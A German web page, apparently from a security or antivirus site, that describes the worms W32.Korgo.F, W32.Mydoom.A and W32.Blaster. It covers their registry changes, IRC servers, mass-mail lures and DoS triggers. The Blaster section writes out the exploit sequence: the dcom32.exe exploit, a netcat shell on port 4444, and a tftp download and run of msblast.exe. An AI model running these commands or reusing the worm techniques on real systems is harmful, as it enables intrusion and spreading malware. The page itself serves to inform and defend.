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Aktuelle Virenbedrohungen:
W32.Korgo.F
- Er löscht die Datei
Ftpupd.exe aus dem Ordner, von dem aus der
Wurm ausgeführt wurde.
- Er erzeugt die Mutexe
"u6", "u8", "u9", "u10" und "uterm_10" und
stellt damit sicher, dass nur eine Instanz des
Wurms im Computer ausgeführt werden kann.
- Er löscht die Werte:
"System
Service Manager"
"System Restore Service"
"Bot Loader"
"Windows Update Service"
"WinUpdate"
"Windows Security Manager"
"avserve.exe"
"avserve2.exe"
aus dem Registrierungsschlüssel:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
- Er sucht den Wert:
"Update
Service"
im folgenden Registrierungsschlüssel:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
- Wenn der Wert "Update
Service"
nicht existiert, fügt der Wurm den Wert:
"Client"="1"
dem folgenden Registrierungsschlüssel hinzu:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Wireless
- Wenn der Wert "Update
Service"
existiert, doch der Pfad der Datei
unterschiedlich ist, geht der Wurm so vor:
- Er kopiert sich
selbst nach %System\<Beliebiger
Dateiname>.exe.
Hinweis:
%System% ist eine Variable. Der Wurm
findet den Ordner "System" und kopiert
sich dorthin. Standardmäßig ist dies
C:\Windows\System (Windows 95/98/Me), C:\Winnt\System32
(Windows NT/2000) oder C:\Windows\System32
(Windows XP).
- Er fügt den Wert
"Disk
Defragmenter"="%System%\<random
filename>.exe"
dem folgenden Registrierungsschlüssel
hinzu:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
- Er startet
<Beliebiger Dateiname>.exe und beendet
dann den aktuellen Prozess.
- Wenn der Wert "Update
Service"
existiert und der Wert dem Pfad des Wurms
entspricht, löscht er den Wert
"Client"
aus dem Registrierungsschlüssel:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Wireless
- Er überwacht die
folgenden TCP-Ports:
- 113
- 3067
- Andere beliebige
Ports. Der Wurm versendet sich selbst über
diese Ports.
- Er versucht,
Verbindungen zu einem der folgenden IRC-Server
auf dem TCP-Port 6667 herzustellen:
-
gaspode.zanet.org.za
- lia.zanet.net
- irc.tsk.ru
-
london.uk.eu.undernet.org
-
washington.dc.us.undernet.org
-
los-angeles.ca.us.undernet.org
-
brussels.be.eu.undernet.org
-
caen.fr.eu.undernet.org
-
flanders.be.eu.undernet.org
-
graz.at.eu.undernet.org
- moscow-advocat.ru
- gaz-prom.ru
7. Er startet einen
Thread, um die LSASS-Windows-Sicherheitslücke
auf TCP-Port 445 (beschrieben im
Microsoft Security Bulletin MS04-011) gegen
beliebige IP-Adressen auszunutzen. Bei Erfolg
versucht der entfernte Computer möglicherweise,
eine Verbindung mit dem infizierten Computer
herzustellen und den Wurm herunterzuladen.
W32.Mydoom.A@mm
Die Bedrohung die von
diesem Wurm ausgeht wird als hoch bezeichnet.
Der Virus ist auch
bekannt unter den Namen :
W32.Novarg.A@mm, W32/Mydoom@MM
[McAfee], WORM_MIMAIL.R [Trend], Win32.Mydoom.A
[Computer Associates], W32/Mydoom-A [Sophos],
I-Worm.Novarg [Kaspersky]
Infektionslänge:
22.528 Byte. Die Größe
der Wurmdatei variiert, wenn es sich um eine .zip-Datei
handelt.
Bei Ausführung geht W32.Novarg.A@mm
folgendermaßen vor:
Er erstellt die folgenden Dateien:
%System%\Shimgapi.dll. Die Datei Shimgapi.dll
funktioniert wie ein Proxy-Server und öffnet die
TCP-Ports im Bereich von 3127 bis 3198. Außerdem
können über die Hintertür beliebige Dateien
heruntergeladen und ausgeführt werden.
%Temp%\Message. Diese Datei ist gefüllt mit
willkürlichen Buchstaben und wird in Notepad
angezeigt.
%System%\Taskmon.exe.
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Hinweise:
Taskmon.exe ist eine legitime Datei in den
Betriebssystemen Windows 95/98/Me, die dort
jedoch im Ordner %Windir% und nicht im Ordner
%System% gespeichert ist. (Standardmäßig ist
dies das Verzeichnis C:\Windows oder C:\Winnt.)
Sie sollten die legitime Datei im Ordner
%Windir% nicht versehentlich löschen.
%System% ist eine Variable. Der Wurm findet den
Ordner "System" und kopiert sich dorthin.
Standardmäßig ist dies C:\Windows\System
(Windows 95/98/Me), C:\Winnt\System32 (Windows
NT/2000) oder C:\Windows\System32 (Windows XP).
%Temp% ist eine Variable. Der Wurm findet den
temporären Ordner und kopiert sich dorthin.
Standardmäßig ist dies C:\Windows\TEMP (Windows
95/98/Me), C:\Winnt\Temp (Windows NT/2000) oder
C:\Dokumente und
Einstellungen\<Benutzername>\Lokale
Einstellungen\Temp (Windows XP).
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Er fügt den Wert
"(Default)" = "%System%\shimgapi.dll"
dem folgenden Registrierungsschlüssel hinzu:
HKEY_CLASSES_ROOT\CLSID\{E6FB5E20-DE35-11CF-9C87-00AA005127ED}\InProcServer32
Dadurch wird die Datei Shimgapi.dll durch
Explorer.exe geladen.
Der Wurm fügt den Wert
"TaskMon" = "%System%\taskmon.exe"
den folgenden Registrierungsschlüsseln hinzu:
HKEY_CURRENT_USER\Software\Microsft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
Dadurch wird TaskMon beim Systemstart von
Windows geladen.
Der Wurm überprüft das Systemdatum. Wenn das
Datum zwischen dem 1. Februar 2004 und dem 12.
Februar 2004 liegt, besteht eine Chance von 25
%, dass der Wurm einen DoS-Angriff auf
www.sco.com durchführen wird. Der DoS-Angriff
wird durchgeführt, indem der Wurm 63 Threads
erstellt, die GET-Anfragen senden und eine
direkte Verbindung zu Port 80 nutzen. Der Wurm
versendet sich selbst nicht per Massen-Mail,
wenn der DoS-Angriff gestartet wird.
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Hinweise:
Der Wurm wird am 1. Februar 2004 um 16:09:18 MEZ
einen Denial-of-Service (DoS)-Angriff starten.
Der Wurm überprüft das Systemdatum und die
Systemzeit auf dem Computer, um festzustellen,
ob der DoS-Angriff gestartet werden soll.
Aufgrund der zum Verifizieren des Systemdatums
verwendeten Logik wird der DoS-Angriff nur auf
25 % der infizierten Computer ausgeführt.
Der DoS-Angriff tritt nur dann auf, wenn das
Systemdatum während der ersten Infizierung
überprüft wird oder wenn der Computer neu
gestartet wird.
Der Wurm verwendet die lokalen
DNS-Einstellungen, um den beim DoS-Angriff
verwendeten Domänennamen (www.sco.com)
aufzulösen.
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Er erstellt die folgenden
Registrierungsschlüssel:
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\
Explorer\ComDlg32\Version
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\
Explorer\ComDlg32\Version
Er durchsucht Dateien mit den folgenden
Dateierweiterungen nach E-Mail-Adressen.
.htm
.sht
.php
.asp
.dbx
.tbb
.adb
.pl
.wab
.txt
Er versucht, E-Mails mit einer eigenen
SMTP-Engine zu versenden. Der Wurm versucht, den
Mail-Server des Empfängers zu ermitteln, bevor
er die E-Mail versendet. Wenn dies nicht
erfolgreich ist, verwendet er den lokalen
Mail-Server.
Die E-Mail besitzt folgende Merkmale:
Von: Die Absenderadresse ist möglicherweise
gefälscht.
Betreff: Die Betreffzeile kann eine der
folgenden sein)
test
hi
hello
Mail Delivery System
Mail Transaction Failed
Server Report
Status
Error
Nachricht: Die Nachricht kann eine der folgenden
sein
Mail transaction failed. Partial message is
available.
The message contains Unicode characters and has
been sent as a binary attachment.
The message cannot be represented in 7-bit ASCII
encoding and has been sent as a binary
attachment.
test
Anhang: Der Name der angehängten Datei kann
einer der folgenden sein (ohne die
Dateierweiterung):
document
readme
doc
text
file
data
test
message
body
Die angehängte Datei kann zwei Erweiterungen
haben. Ist dies der Fall, so ist die erste
Dateierweiterung eine der folgenden:
.htm
.txt
.doc
Die zweite Dateierweiterung bzw. die einzige,
wenn nur eine Erweiterung vorhanden ist, ist
eine der folgenden:
.pif
.scr
.exe
.cmd
.bat
.zip (Dies ist eine tatsächliche .zip-Datei, die
eine Kopie des Wurms mit demselben Dateinamen
wie die .zip-Datei enthält. Die Datei readme.zip
enthält z. B. eine Datei namens readme.pif.)
Wenn der Wurm die Erweiterung .exe oder .scr
enthält, so sieht das angezeigte Symbol der
Datei folgendermaßen aus:
Bei allen anderen Dateierweiterugen wird das
entsprechende Symbol für den Dateityp verwendet.
Der Wurm kopiert sich als eine der folgenden
Dateien in das KaZaA-Download-Verzeichnis:
winamp5
icq2004-final
activation_crack
strip-girl-2.0bdcom_patches
rootkitXP
office_crack
nuke2004
Dabei wird eine der folgenden Dateierweiterungen
verwendet:
pif
scr
bat
exe
W32.Blaster.Worm
Durch eine Sicherheitslücke in den Microsoft
Betriebssystemen
Windows 2000 und XP verbreitet sich ein der
W32.Blaster.Worm.
Er ist so programmiert, dass er in der Nacht vom
15.8.2003 um 24.00h eine DOS-Attacke gegen den
Microsoft Update Server durchführt.
Erst zu diesem Zeitpunkt kann ein genaues Urteil
über die Verbreitung des Wurmes gefällt werden.
Zur Beseitigung empfehle ich das Tool Fix-Blast
im Download Bereich.
Hintergrundwissen
Exploit
Technik:
c:\> dcom32.exe <OS ver. & service pack> <Victim
IP>
(ex. C:\> dcom32.exe 2 192.168.0.2)
c:> nc -vvv VicIP Port (ex. c:\>nc 192.168.0.2
4444
JackedXP [192.168.0.2] 4444 open Microsoft
Windows XP [Version 5.1.2600]
C:\WINDOWS\system32>)
Sie erhalten eine CMD Shell.
Mit
c:\tftp -i IP msblast.exe
wird nun der eigentliche Wurm installiert auf
den Rechner kopiert
und mit
c:\msblast
ausgeführt.
Genau dieses Verfahren wird beim Wurm
angewendet.
Danach wird ein DOS Angriff gegen den Microsoft
Update Server eingerichtet.
Als letztes scannt der Wurm im lokalen Netzwerk
nach offenen 135 Ports und nach Zufallssystem im
öffentlichen Netz um sich weiterzuverteilen.
Die Gefahr für den PC würde ich als gering
einschätzen,
jedoch die Art und Weise der Verbreitung als
sehr gefährlich,
da viele Rechner noch nicht gegen die DCOM
Verwundbarkeit den entsprechenden Patch von der
Microsoft Seite eingespielt haben.
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